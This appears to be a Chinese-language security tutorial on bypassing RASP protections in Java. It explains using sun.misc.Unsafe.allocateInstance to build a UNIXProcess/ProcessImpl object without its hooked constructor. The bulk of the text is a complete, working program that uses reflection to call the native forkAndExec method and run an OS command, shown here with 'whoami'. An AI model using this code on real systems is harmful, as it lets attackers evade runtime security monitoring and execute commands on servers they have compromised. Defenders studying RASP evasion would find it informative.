0x01 前言

例如说现在目标站点上有RASP限制了UNIXProcess/ProcessImpl类的构造方法导致我们无法执行本地命令
那么这个时候通过 sun.misc.Unsafe 类的 allocateInstance() 即可完成绕过

换个简单的例子:
例如现在有个CmdTest类因为某种原因我们不能直接通过反射的方式去创建这个类
那么这种时候就可以通过 sun.misc.Unsafe 类的 allocateInstance() 即可完成绕过

  1. # 例如的CmdTest代码片段
  2. public class CmdTest {
  3. private CmdTest() {
  4. // 假设RASP在此处插入了Hook代码
  5. System.out.println("init...");
  6. }
  7. }
  8. # 使用 Unsafe 创建 CmdTest 对象的方法:
  9. CmdTest test = (CmdTest) unsafe.allocateInstance(CmdTest.class);

0x02 例子-通过allocateInstance类+反射绕过RASP

  1. package UnsafeTest;
  2. import sun.misc.Unsafe;
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. import java.lang.reflect.Field;
  7. import java.lang.reflect.Method;
  8. public class Test3 {
  9. public static void main(String[] args) throws Exception {
  10. // 要执行的命令
  11. String[] cmd = {"whoami"};
  12. InputStream in = exec(cmd);
  13. String result = inputStreamToString(in, "UTF-8");
  14. System.out.println(result);
  15. }
  16. public static InputStream exec(String[] strs) throws Exception {
  17. String UNIXProcessClass = "java.lang.UNIXProcess";
  18. String ProcessImplClass = "java.lang.ProcessImpl";
  19. Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
  20. theUnsafeField.setAccessible(true);
  21. Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
  22. // 反射创建UNIXProcess或者ProcessImpl
  23. Class processClass = null;
  24. try {
  25. processClass = Class.forName(UNIXProcessClass);
  26. } catch (ClassNotFoundException e) {
  27. processClass = Class.forName(ProcessImplClass);
  28. }
  29. Object processObject = unsafe.allocateInstance(processClass);
  30. byte[][] args = new byte[strs.length - 1][];
  31. int size = args.length;
  32. for (int i = 0; i < args.length; i++) {
  33. args[i] = strs[i + 1].getBytes();
  34. size += args[i].length;
  35. }
  36. byte[] argBlock = new byte[size];
  37. int i = 0;
  38. for (byte[] arg : args) {
  39. System.arraycopy(arg, 0, argBlock, i, arg.length);
  40. i += arg.length + 1;
  41. }
  42. int[] envc = new int[1];
  43. int[] std_fds = new int[]{-1, -1, -1};
  44. Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
  45. Field helperpathField = processClass.getDeclaredField("helperpath");
  46. launchMechanismField.setAccessible(true);
  47. helperpathField.setAccessible(true);
  48. Object launchMechanismObject = launchMechanismField.get(processObject);
  49. byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
  50. int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
  51. Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
  52. int.class, byte[].class, byte[].class, byte[].class, int.class,
  53. byte[].class, int.class, byte[].class, int[].class, boolean.class
  54. });
  55. forkMethod.setAccessible(true);
  56. int pid = (int) forkMethod.invoke(processObject, new Object[]{
  57. ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
  58. null, envc[0], null, std_fds, false
  59. });
  60. // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
  61. Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
  62. initStreamsMethod.setAccessible(true);
  63. initStreamsMethod.invoke(processObject, std_fds);
  64. // 获取本地执行结果的输入流
  65. Method getInputStreamMethod = processClass.getMethod("getInputStream");
  66. getInputStreamMethod.setAccessible(true);
  67. InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
  68. return in;
  69. }
  70. private static byte[] toCString(String s) {
  71. if (s == null) {
  72. return null;
  73. }
  74. byte[] bytes = s.getBytes();
  75. byte[] result = new byte[bytes.length + 1];
  76. System.arraycopy(bytes, 0, result, 0, bytes.length);
  77. result[result.length - 1] = (byte) 0;
  78. return result;
  79. }
  80. public static String inputStreamToString(InputStream in, String charset) throws IOException {
  81. try {
  82. if (charset == null) {
  83. charset = "UTF-8";
  84. }
  85. ByteArrayOutputStream out = new ByteArrayOutputStream();
  86. int a = 0;
  87. byte[] b = new byte[1024];
  88. while ((a = in.read(b)) != -1) {
  89. out.write(b, 0, a);
  90. }
  91. return new String(out.toByteArray());
  92. } catch (IOException e) {
  93. throw e;
  94. } finally {
  95. if (in != null)
  96. in.close();
  97. }
  98. }
  99. }